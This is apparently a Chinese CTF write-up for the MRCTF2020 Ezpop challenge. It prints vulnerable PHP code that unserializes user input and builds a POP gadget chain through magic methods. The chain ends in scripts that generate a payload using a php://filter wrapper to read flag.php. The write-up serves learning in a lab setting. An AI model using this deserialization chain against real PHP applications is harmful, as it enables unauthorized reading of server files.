BUUFTC-日刷-[MRCTF2020]Ezpop-tostring小知识点-反序列化属性小坑
<?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."
"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
审计代码,很明显发现我们要利用的点
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
想要调用这个文件包含,就要调用到__invoke(),这个方法是类被当作函数调用的时候会触发,继续找
class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } }
这里__get方法会调用$p,让p等于modifier即可,下面就是想办法调用test的__get(),这个方法是调用这个类里面不存在或者私有变量时会触发
class Show{ public $source; public $str; 。。。 public function __toString(){ return $this->str->source; } 。。。 }
注意到show类中__tostring方法会返回str中source,我们让str等于test类,source随便指定即可。下面就是想办法调用__tostring
我之前一直以为只有输出字符串才会调用__tostring方法,查了一下,只要被当作字符串处理都会调用这个方法
class Show{ public $source; public $str; 。。。 public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
注意到show类中,__wakeup()方法,会对souce进行一次正则匹配,这里就会把source当作字符串处理,因此让source等于show类即可
构造pop链:
<?php class Modifier { protected $var='flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $s=new Show(); $s->str=new Test(); $s->str->p=new Modifier(); $ss=new Show(); $ss->source=$s; print_r((serialize($ss)));
发现没反应,观察输出的序列化链:
这里s长度为6,但是只有 *var 4个字符,查一下
protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;
因此直接输出结果复制不行的,先url编码一下
<?php class Modifier { protected $var='flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $s=new Show(); $s->str=new Test(); $s->str->p=new Modifier(); $ss=new Show(); $ss->source=$s; print_r(urlencode(serialize($ss)));
发现
不能直接输出源码,采用伪协议输出即可
<?php class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $s=new Show(); $s->str=new Test(); $s->str->p=new Modifier(); $ss=new Show(); $ss->source=$s; print_r(urlencode(serialize($ss)));
获得base源码,解码即可
附上我踩的坑
public无标记,变量名不变,长度不变: s:2:"op";i:2; protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2; private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;